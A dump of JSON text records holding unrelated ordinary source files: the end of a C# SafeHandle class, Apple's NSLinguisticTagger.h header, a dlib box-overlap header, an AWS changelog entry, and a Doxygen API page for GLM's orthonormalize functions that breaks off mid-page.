AttributeBuilderHandle\r\n : SafeHandleNullIsInvalid\r\n {\r\n internal AttributeBuilderHandle()\r\n : base( true )\r\n {\r\n }\r\n\r\n [System.Diagnostics.CodeAnalysis.SuppressMessage( \"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\", Justification = \"Required for marshaling support (used via reflection)\" )]\r\n internal AttributeBuilderHandle( IntPtr handle )\r\n : base( true )\r\n {\r\n SetHandle( handle );\r\n }\r\n\r\n [SecurityCritical]\r\n protected override bool ReleaseHandle( )\r\n {\r\n NativeMethods.AttributeBuilderDispose( this.handle );\r\n return true;\r\n }\r\n }\r\n}\r\n"} {"text": "/*\tNSLinguisticTagger.h\n\tCopyright (c) 2009-2019, Apple Inc. All rights reserved.\n*/\n\n#import <Foundation/NSObject.h>\n#import <Foundation/NSString.h>\n\n@class NSArray<ObjectType>, NSOrthography, NSValue;\n\nNS_ASSUME_NONNULL_BEGIN\n\n/* NSLinguisticTagger is a class used to automatically segment natural-language text and tag the tokens with information such as language, script, lemma, and part of speech. An instance of this class is assigned a string to tag, and clients can then obtain tags and ranges for tokens in that string appropriate to a given tag scheme and unit.\n*/\n\n/* Tag schemes */\ntypedef NSString *NSLinguisticTagScheme NS_EXTENSIBLE_STRING_ENUM;\n\nFOUNDATION_EXPORT NSLinguisticTagScheme const NSLinguisticTagSchemeTokenType API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* This tag scheme classifies tokens according to their broad general type: word, punctuation, whitespace, etc. */\nFOUNDATION_EXPORT NSLinguisticTagScheme const NSLinguisticTagSchemeLexicalClass API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* This tag scheme classifies tokens according to class: part of speech for words, type of punctuation or whitespace, etc. */\nFOUNDATION_EXPORT NSLinguisticTagScheme const NSLinguisticTagSchemeNameType API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* This tag scheme classifies tokens as to whether they are part of named entities of various types or not. */\nFOUNDATION_EXPORT NSLinguisticTagScheme const NSLinguisticTagSchemeNameTypeOrLexicalClass API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* This tag scheme follows NSLinguisticTagSchemeNameType for names, NSLinguisticTagSchemeLexicalClass for all other tokens. */\nFOUNDATION_EXPORT NSLinguisticTagScheme const NSLinguisticTagSchemeLemma API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* This tag scheme supplies a stem form for each word token (if known). */\nFOUNDATION_EXPORT NSLinguisticTagScheme const NSLinguisticTagSchemeLanguage API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* This tag scheme tags tokens according to their most likely language (if known). */\nFOUNDATION_EXPORT NSLinguisticTagScheme const NSLinguisticTagSchemeScript API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* This tag scheme tags tokens according to their script. */\n\ntypedef NSString *NSLinguisticTag NS_EXTENSIBLE_STRING_ENUM;\n\n/* Tags for NSLinguisticTagSchemeTokenType */\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagWord API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* Tokens considered to be words or word-like linguistic items. */\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagPunctuation API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* Tokens made up of punctuation. */\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagWhitespace API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* Tokens made up of whitespace of all sorts. */\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagOther API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0)); /* Other tokens, including non-linguistic items such as symbols. */\n\n/* Tags for NSLinguisticTagSchemeLexicalClass */\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagNoun API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagVerb API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagAdjective API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagAdverb API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagPronoun API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagDeterminer API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagParticle API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagPreposition API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagNumber API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagConjunction API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagInterjection API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagClassifier API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagIdiom API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagOtherWord API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagSentenceTerminator API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagOpenQuote API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagCloseQuote API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagOpenParenthesis API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagCloseParenthesis API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagWordJoiner API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagDash API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagOtherPunctuation API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagParagraphBreak API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagOtherWhitespace API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* Tags for NSLinguisticTagSchemeNameType */\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagPersonalName API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagPlaceName API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\nFOUNDATION_EXPORT NSLinguisticTag const NSLinguisticTagOrganizationName API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* For NSLinguisticTagSchemeTokenType, NSLinguisticTagSchemeLexicalClass, NSLinguisticTagSchemeNameType, and NSLinguisticTagSchemeNameTypeOrLexicalClass, tags will be taken from the lists above (clients may use == comparison). Tags for NSLinguisticTagSchemeLemma are lemmas from the language. Tags for NSLinguisticTagSchemeLanguage are standard language abbreviations. Tags for NSLinguisticTagSchemeScript are standard script abbreviations.\n*/\n\n/* NSLinguisticTaggerUnit specifes the size of units in a string to which tagging applies. The tagging unit may be word, sentence, paragraph, or document. Methods that do not specify a unit act at the word level. Not all combinations of scheme and unit are supported; clients can use +availableTagSchemesForUnit:language: to determine which ones are.\n*/\ntypedef NS_ENUM(NSInteger, NSLinguisticTaggerUnit) {\n NSLinguisticTaggerUnitWord, /* Token units are at word or equivalent level */\n NSLinguisticTaggerUnitSentence, /* Token units are at sentence level */\n NSLinguisticTaggerUnitParagraph, /* Token units are at paragraph level */\n NSLinguisticTaggerUnitDocument /* Token unit is the entire string */\n};\n\n/* Options arguments of type NSLinguisticTaggerOptions may include the following flags, which allow clients interested only in certain general types of tokens to specify that tokens of other types should be omitted from the returned results. */\ntypedef NS_OPTIONS(NSUInteger, NSLinguisticTaggerOptions) { /* Any combination of options from the enumeration. */\n NSLinguisticTaggerOmitWords = 1 << 0, /* Omit tokens of type NSLinguisticTagWord. */\n NSLinguisticTaggerOmitPunctuation = 1 << 1, /* Omit tokens of type NSLinguisticTagPunctuation. */\n NSLinguisticTaggerOmitWhitespace = 1 << 2, /* Omit tokens of type NSLinguisticTagWhitespace. */\n NSLinguisticTaggerOmitOther = 1 << 3, /* Omit tokens of type NSLinguisticTagOther. */\n NSLinguisticTaggerJoinNames = 1 << 4 /* Join tokens of tag scheme NSLinguisticTagSchemeNameType. */\n};\n\n\nAPI_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0))\n@interface NSLinguisticTagger : NSObject {\n@private\n NSArray *_schemes;\n NSUInteger _options;\n NSString *_string;\n id _orthographyArray;\n id _tokenArray;\n void *_reserved;\n}\n\n/* An instance of NSLinguisticTagger is created with an array of tag schemes. The tagger will be able to supply tags corresponding to any of the schemes in this array.\n*/\n- (instancetype)initWithTagSchemes:(NSArray<NSLinguisticTagScheme> *)tagSchemes options:(NSUInteger)opts NS_DESIGNATED_INITIALIZER API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n@property (readonly, copy) NSArray<NSLinguisticTagScheme> *tagSchemes API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n@property (nullable, retain) NSString *string API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* Clients wishing to know the tag schemes supported in NSLinguisticTagger for a particular unit and language may query them with this method. The language should be specified using a standard BCP-47 language tag as with NSOrthography.\n*/\n+ (NSArray<NSLinguisticTagScheme> *)availableTagSchemesForUnit:(NSLinguisticTaggerUnit)unit language:(NSString *)language API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n\n/* Clients wishing to know the tag schemes supported in NSLinguisticTagger for a particular language at the word level may query them with this method. The language should be specified using a standard abbreviation as with NSOrthography.\n*/\n+ (NSArray<NSLinguisticTagScheme> *)availableTagSchemesForLanguage:(NSString *)language API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* If clients know the orthography for a given portion of the string, they may supply it to the tagger. Otherwise, the tagger will infer the language from the contents of the text. In each case, the charIndex or range passed in must not extend beyond the end of the tagger's string, or the methods will raise an exception.\n*/\n- (void)setOrthography:(nullable NSOrthography *)orthography range:(NSRange)range API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n- (nullable NSOrthography *)orthographyAtIndex:(NSUInteger)charIndex effectiveRange:(nullable NSRangePointer)effectiveRange API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* If the string attached to the tagger is mutable, this method must be called to inform the tagger whenever the string changes. The newRange is the range in the final string which was explicitly edited, and delta is the change in length from the previous version to the current version of the string. Alternatively, the client may call setString: again to reset all information about the string, but this has the disadvantage of not preserving information about portions of the string that have not changed.\n*/\n- (void)stringEditedInRange:(NSRange)newRange changeInLength:(NSInteger)delta API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* Returns the range corresponding to the token for the given unit that contains the given character index.\n*/\n- (NSRange)tokenRangeAtIndex:(NSUInteger)charIndex unit:(NSLinguisticTaggerUnit)unit API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n\n/* Returns a range covering all sentences intersecting the given range.\n*/\n- (NSRange)sentenceRangeForRange:(NSRange)range API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* The tagger will segment the string as needed into tokens for the given unit, and return those ranges along with a tag for any scheme in its array of tag schemes. The fundamental tagging method on NSLinguisticTagger is a block iterator, that iterates over all tokens intersecting a given range, supplying tags and ranges. There are several additional convenience methods, for obtaining a sentence range, information about a single token, or for obtaining information about all tokens intersecting a given range at once, in arrays. In each case, the charIndex or range passed in must not extend beyond the end of the tagger's string, or the methods will raise an exception. Note that a given instance of NSLinguisticTagger should not be used from more than one thread simultaneously.\n*/\n- (void)enumerateTagsInRange:(NSRange)range unit:(NSLinguisticTaggerUnit)unit scheme:(NSLinguisticTagScheme)scheme options:(NSLinguisticTaggerOptions)options usingBlock:(void (NS_NOESCAPE ^)(NSLinguisticTag _Nullable tag, NSRange tokenRange, BOOL *stop))block API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n- (nullable NSLinguisticTag)tagAtIndex:(NSUInteger)charIndex unit:(NSLinguisticTaggerUnit)unit scheme:(NSLinguisticTagScheme)scheme tokenRange:(nullable NSRangePointer)tokenRange API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n- (NSArray<NSLinguisticTag> *)tagsInRange:(NSRange)range unit:(NSLinguisticTaggerUnit)unit scheme:(NSLinguisticTagScheme)scheme options:(NSLinguisticTaggerOptions)options tokenRanges:(NSArray<NSValue *> * _Nullable * _Nullable)tokenRanges API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n\n/* Methods that do not specify a unit act at the word level.\n*/\n- (void)enumerateTagsInRange:(NSRange)range scheme:(NSLinguisticTagScheme)tagScheme options:(NSLinguisticTaggerOptions)opts usingBlock:(void (NS_NOESCAPE ^)(NSLinguisticTag _Nullable tag, NSRange tokenRange, NSRange sentenceRange, BOOL *stop))block API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n- (nullable NSLinguisticTag)tagAtIndex:(NSUInteger)charIndex scheme:(NSLinguisticTagScheme)scheme tokenRange:(nullable NSRangePointer)tokenRange sentenceRange:(nullable NSRangePointer)sentenceRange API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n- (NSArray<NSString *> *)tagsInRange:(NSRange)range scheme:(NSString *)tagScheme options:(NSLinguisticTaggerOptions)opts tokenRanges:(NSArray<NSValue *> * _Nullable * _Nullable)tokenRanges API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n/* Returns the top identified language (if any) for the entire string. Convenience for tagAtIndex: with NSLinguisticTagSchemeLanguage and NSLinguisticTaggerUnitDocument.\n*/\n@property (nullable, readonly, copy) NSString *dominantLanguage API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n\n/* The following class methods are conveniences for clients who wish to perform a single analysis on a string without having to create an instance of NSLinguisticTagger. If more than one tagging operation is needed on a given string, it is more efficient to use an explicit NSLinguisticTagger instance.\n*/\n+ (nullable NSString *)dominantLanguageForString:(NSString *)string API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n+ (nullable NSLinguisticTag)tagForString:(NSString *)string atIndex:(NSUInteger)charIndex unit:(NSLinguisticTaggerUnit)unit scheme:(NSLinguisticTagScheme)scheme orthography:(nullable NSOrthography *)orthography tokenRange:(nullable NSRangePointer)tokenRange API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n+ (NSArray<NSLinguisticTag> *)tagsForString:(NSString *)string range:(NSRange)range unit:(NSLinguisticTaggerUnit)unit scheme:(NSLinguisticTagScheme)scheme options:(NSLinguisticTaggerOptions)options orthography:(nullable NSOrthography *)orthography tokenRanges:(NSArray<NSValue *> * _Nullable * _Nullable)tokenRanges API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n+ (void)enumerateTagsForString:(NSString *)string range:(NSRange)range unit:(NSLinguisticTaggerUnit)unit scheme:(NSLinguisticTagScheme)scheme options:(NSLinguisticTaggerOptions)options orthography:(nullable NSOrthography *)orthography usingBlock:(void (NS_NOESCAPE ^)(NSLinguisticTag _Nullable tag, NSRange tokenRange, BOOL *stop))block API_AVAILABLE(macosx(10.13), ios(11.0), watchos(4.0), tvos(11.0));\n\n/* Deprecated method for obtaining a list of possible tags for the token at a given index.\n*/\n- (nullable NSArray<NSString *> *)possibleTagsAtIndex:(NSUInteger)charIndex scheme:(NSString *)tagScheme tokenRange:(nullable NSRangePointer)tokenRange sentenceRange:(nullable NSRangePointer)sentenceRange scores:(NSArray<NSValue *> * _Nullable * _Nullable)scores API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n@end\n\n@interface NSString (NSLinguisticAnalysis)\n\n/* Clients wishing to analyze a given string once may use these NSString APIs without having to create an instance of NSLinguisticTagger. If more than one tagging operation is needed on a given string, it is more efficient to use an explicit NSLinguisticTagger instance.\n*/\n- (NSArray<NSLinguisticTag> *)linguisticTagsInRange:(NSRange)range scheme:(NSLinguisticTagScheme)scheme options:(NSLinguisticTaggerOptions)options orthography:(nullable NSOrthography *)orthography tokenRanges:(NSArray<NSValue *> * _Nullable * _Nullable)tokenRanges API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n- (void)enumerateLinguisticTagsInRange:(NSRange)range scheme:(NSLinguisticTagScheme)scheme options:(NSLinguisticTaggerOptions)options orthography:(nullable NSOrthography *)orthography usingBlock:(void (NS_NOESCAPE ^)(NSLinguisticTag _Nullable tag, NSRange tokenRange, NSRange sentenceRange, BOOL *stop))block API_AVAILABLE(macos(10.7), ios(5.0), watchos(2.0), tvos(9.0));\n\n@end\n\nNS_ASSUME_NONNULL_END\n"} {"text": "// Copyright (C) 2011 Davis E. King (davis@dlib.net)\n// License: Boost Software License See LICENSE.txt for the full license.\n#undef DLIB_BOX_OVERlAP_TESTING_ABSTRACT_Hh_\n#ifdef DLIB_BOX_OVERlAP_TESTING_ABSTRACT_Hh_\n\n#include \"../geometry.h\"\n\nnamespace dlib\n{\n\n// ----------------------------------------------------------------------------------------\n\n class test_box_overlap\n {\n /*!\n WHAT THIS OBJECT REPRESENTS\n This object is a simple function object for determining if two rectangles\n overlap. \n\n THREAD SAFETY\n Concurrent access to an instance of this object is safe provided that \n only const member functions are invoked. Otherwise, access must be\n protected by a mutex lock.\n !*/\n\n public:\n test_box_overlap (\n );\n /*!\n ensures\n - #get_match_thresh() == 0.5\n - #get_overlap_thresh() == 1.0\n !*/\n\n explicit test_box_overlap (\n double match_thresh,\n double overlap_thresh = 1.0\n );\n /*!\n requires\n - 0 <= match_thresh <= 1\n - 0 <= overlap_thresh <= 1\n ensures\n - #get_match_thresh() == match_thresh \n - #get_overlap_thresh() == overlap_thresh\n !*/\n\n bool operator() (\n const dlib::rectangle& a,\n const dlib::rectangle& b\n ) const;\n /*!\n ensures\n - returns true if a and b overlap \"enough\". This is defined precisely below.\n - if (a.intersect(b).area()/(a+b).area() > get_match_thresh() ||\n a.intersect(b).area()/a.area() > get_overlap_thresh() ||\n a.intersect(b).area()/b.area() > get_overlap_thresh() ) then\n - returns true\n - else\n - returns false\n !*/\n\n double get_match_thresh (\n ) const;\n /*!\n ensures\n - returns the threshold used to determine if two rectangles match.\n Note that the match score varies from 0 to 1 and only becomes 1\n when two rectangles are identical.\n\n !*/\n\n double get_overlap_thresh (\n ) const;\n /*!\n ensures\n - returns the threshold used to determine if two rectangles overlap. This\n value is the percent of a rectangle's area covered by another rectangle.\n\n !*/\n\n };\n\n// ----------------------------------------------------------------------------------------\n\n void serialize (\n const test_box_overlap& item,\n std::ostream& out\n );\n /*!\n provides serialization support\n !*/\n\n void deserialize (\n test_box_overlap& item,\n std::istream& in \n );\n /*!\n provides deserialization support\n !*/\n\n// ----------------------------------------------------------------------------------------\n\n test_box_overlap find_tight_overlap_tester (\n const std::vector<std::vector<rectangle> >& rects\n );\n /*!\n ensures\n - This function finds the most restrictive test_box_overlap object possible \n that is consistent with the given set of sets of rectangles. \n - To be precise, this function finds and returns a test_box_overlap object \n TBO such that:\n - TBO.get_match_thresh() and TBO.get_overlap_thresh() are as small\n as possible such that the following conditions are satisfied.\n - for all valid i:\n - for all distinct rectangles A and B in rects[i]:\n - TBO(A,B) == false\n !*/\n\n// ----------------------------------------------------------------------------------------\n\n bool overlaps_any_box (\n const test_box_overlap& tester,\n const std::vector<rectangle>& rects,\n const rectangle& rect\n );\n /*!\n ensures\n - returns true if rect overlaps any box in rects and false otherwise. Overlap\n is determined based on the given tester object.\n !*/\n\n// ----------------------------------------------------------------------------------------\n\n bool overlaps_any_box (\n const std::vector<rectangle>& rects,\n const rectangle& rect\n );\n /*!\n ensures\n - returns overlaps_any_box(test_box_overlap(), rects, rect)\n !*/\n\n// ----------------------------------------------------------------------------------------\n\n}\n\n#endif // DLIB_BOX_OVERlAP_TESTING_ABSTRACT_Hh_\n\n\n"} {"text": "[\n {\n \"type\": \"feature\",\n \"category\": \"ApplicationAutoScaling\",\n \"description\": \"Application Auto Scaling is adding support for Target Tracking Scaling for ECS services.\"\n },\n {\n \"type\": \"feature\",\n \"category\": \"AutoScalingPlans\",\n \"description\": \"AWS Auto Scaling enables you to quickly discover all of the scalable resources underlying your application and set up application scaling in minutes using built-in scaling recommendations.\"\n },\n {\n \"type\": \"feature\",\n \"category\": \"RDS\",\n \"description\": \"With this release you can now integrate RDS DB instances with CloudWatch Logs. We have added parameters to the operations for creating and modifying DB instances (for example CreateDBInstance) to allow you to take advantage of this capability through the CLI and API. Once you enable this feature, a stream of log events will publish to CloudWatch Logs for each log type you enable.\"\n }\n]"} {"text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/xhtml;charset=UTF-8\"/>\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=9\"/>\n<meta name=\"generator\" content=\"Doxygen 1.8.10\"/>\n<title>0.9.9 API documenation: GLM_GTX_orthonormalize</title>\n<link href=\"tabs.css\" rel=\"stylesheet\" type=\"text/css\"/>\n<script type=\"text/javascript\" src=\"jquery.js\"></script>\n<script type=\"text/javascript\" src=\"dynsections.js\"></script>\n<link href=\"search/search.css\" rel=\"stylesheet\" type=\"text/css\"/>\n<script type=\"text/javascript\" src=\"search/searchdata.js\"></script>\n<script type=\"text/javascript\" src=\"search/search.js\"></script>\n<script type=\"text/javascript\">\n $(document).ready(function() { init_search(); });\n</script>\n<link href=\"doxygen.css\" rel=\"stylesheet\" type=\"text/css\" />\n</head>\n<body>\n<div id=\"top\"><!-- do not remove this div, it is closed by doxygen! -->\n<div id=\"titlearea\">\n<table cellspacing=\"0\" cellpadding=\"0\">\n <tbody>\n <tr style=\"height: 56px;\">\n <td id=\"projectlogo\"><img alt=\"Logo\" src=\"logo-mini.png\"/></td>\n <td id=\"projectalign\" style=\"padding-left: 0.5em;\">\n <div id=\"projectname\">0.9.9 API documenation\n </div>\n </td>\n </tr>\n </tbody>\n</table>\n</div>\n<!-- end header part -->\n<!-- Generated by Doxygen 1.8.10 -->\n<script type=\"text/javascript\">\nvar searchBox = new SearchBox(\"searchBox\", \"search\",false,'Search');\n</script>\n <div id=\"navrow1\" class=\"tabs\">\n <ul class=\"tablist\">\n <li><a href=\"index.html\"><span>Main&#160;Page</span></a></li>\n <li><a href=\"modules.html\"><span>Modules</span></a></li>\n <li><a href=\"files.html\"><span>Files</span></a></li>\n <li>\n <div id=\"MSearchBox\" class=\"MSearchBoxInactive\">\n <span class=\"left\">\n <img id=\"MSearchSelect\" src=\"search/mag_sel.png\"\n onmouseover=\"return searchBox.OnSearchSelectShow()\"\n onmouseout=\"return searchBox.OnSearchSelectHide()\"\n alt=\"\"/>\n <input type=\"text\" id=\"MSearchField\" value=\"Search\" accesskey=\"S\"\n onfocus=\"searchBox.OnSearchFieldFocus(true)\" \n onblur=\"searchBox.OnSearchFieldFocus(false)\" \n onkeyup=\"searchBox.OnSearchFieldChange(event)\"/>\n </span><span class=\"right\">\n <a id=\"MSearchClose\" href=\"javascript:searchBox.CloseResultsWindow()\"><img id=\"MSearchCloseImg\" border=\"0\" src=\"search/close.png\" alt=\"\"/></a>\n </span>\n </div>\n </li>\n </ul>\n </div>\n</div><!-- top -->\n<!-- window showing the filter options -->\n<div id=\"MSearchSelectWindow\"\n onmouseover=\"return searchBox.OnSearchSelectShow()\"\n onmouseout=\"return searchBox.OnSearchSelectHide()\"\n onkeydown=\"return searchBox.OnSearchSelectKey(event)\">\n</div>\n\n<!-- iframe showing the search results (closed by default) -->\n<div id=\"MSearchResultsWindow\">\n<iframe src=\"javascript:void(0)\" frameborder=\"0\" \n name=\"MSearchResults\" id=\"MSearchResults\">\n</iframe>\n</div>\n\n<div class=\"header\">\n <div class=\"summary\">\n<a href=\"#func-members\">Functions</a> </div>\n <div class=\"headertitle\">\n<div class=\"title\">GLM_GTX_orthonormalize<div class=\"ingroups\"><a class=\"el\" href=\"a00154.html\">GTX Extensions (Experimental)</a></div></div> </div>\n</div><!--header-->\n<div class=\"contents\">\n\n<p>Orthonormalize matrices. \n<a href=\"#details\">More...</a></p>\n<table class=\"memberdecls\">\n<tr class=\"heading\"><td colspan=\"2\"><h2 class=\"groupheader\"><a name=\"func-members\"></a>\nFunctions</h2></td></tr>\n<tr class=\"memitem:ga23c4340b8f1559d259229b6d8bdc3f97\"><td class=\"memTemplParams\" colspan=\"2\">template&lt;typename T , precision P&gt; </td></tr>\n<tr class=\"memitem:ga23c4340b8f1559d259229b6d8bdc3f97\"><td class=\"memTemplItemLeft\" align=\"right\" valign=\"top\">GLM_FUNC_DECL tmat3x3&lt; T, P &gt;&#160;</td><td class=\"memTemplItemRight\" valign=\"bottom\"><a class=\"el\" href=\"a00216.html#ga23c4340b8f1559d259229b6d8bdc3f97\">orthonormalize</a> (tmat3x3&lt; T, P &gt; const &amp;m)</td></tr>\n<tr class=\"memdesc:ga23c4340b8f1559d259229b6d8bdc3f97\"><td class=\"mdescLeft\">&#160;</td><td class=\"mdescRight\">Returns the orthonormalized matrix of m. <a href=\"a00216.html#ga23c4340b8f1559d259229b6d8bdc3f97\">More...</a><br /></td></tr>\n<tr class=\"separator:ga23c4340b8f1559d259229b6d8bdc3f97\"><td class=\"memSeparator\" colspan=\"2\">&#160;</td></tr>\n<tr class=\"memitem:gad7afff30d7323fdc7aed7f5a16a0c596\"><td class=\"memTemplParams\" colspan=\"2\">template&lt;typename T , precision P&gt; </td></tr>\n<tr class=\"memitem:gad7afff30d7323fdc7aed7f5a16a0c596\"><td class=\"memTemplItemLeft\" align=\"right\" valign=\"top\">GLM_FUNC_DECL tvec3&lt; T, P &gt;&#160;</td><td class=\"memTemplItemRight\" valign=\"bottom\"><a class=\"el\" href=\"a00216.html#gad7afff30d7323fdc7aed7f5a16a0c596\">orthonormalize</a> (tvec3&lt; T, P &gt; const &amp;x, tvec3&lt; T, P &gt; const &amp;y)</td></tr>\n<tr class=\"memdesc:gad7afff30d7323fdc7aed7f5a16a0c596\"><td class=\"mdescLeft\">&#160;</td><td class=\"mdescRight\">Orthonormalizes x according y. <a href=\"a00216.html#gad7afff30d7323fdc7aed7f5a16a0c596\">More...</a><br /></td></tr>\n<tr class=\"separator:gad7afff30d7323fdc7aed7f5a16a0c596\"><td class=\"memSeparator\" colspan=\"2\">&#160;</td></tr>\n</table>\n<a name=\"details\" id=\"details\"></a><h2 class=\"groupheader\">Detailed Description</h2>\n<p>Orthonormalize matrices. </p>\n<p>&lt;<a class=\"el\" href=\"a00080.html\" title=\"GLM_GTX_orthonormalize \">glm/gtx/orthonormalize.hpp</a>&gt; need to be included to use these functionalities. </p>\n<h2 class=\"groupheader\">Function Documentation</h2>\n<a class=\"anchor\" id=\"ga23c4340b8f1559d259229b6d8bdc3f97\"></a>\n<div class=\"memitem\">\n<div class=\"memproto\">\n <table class=\"memname\">\n <tr>\n <td class=\"memname\">GLM_FUNC_DECL tmat3x3&lt;T, P&gt; glm::orthonormalize </td>\n <td>(</td>\n <td class=\"paramtype\">tmat3x3&lt; T, P &gt; const &amp;&#160;</td>\n <td class=\"paramname\"><em>m</em></td><td>)</td>\n <td></td>\n </tr>\n </table>\n</div><div class=\"memdoc\">\n\n<p>Returns the orthonormalized matrix of m. </p>\n<dl class=\"section see\"><dt>See also</dt><dd><a class=\"el\" href=\"a00216.html\" title=\"Orthonormalize matrices. \">GLM_GTX_orthonormalize</a> </dd></dl>\n\n</div>\n</div>\n<a class=\"anchor\" 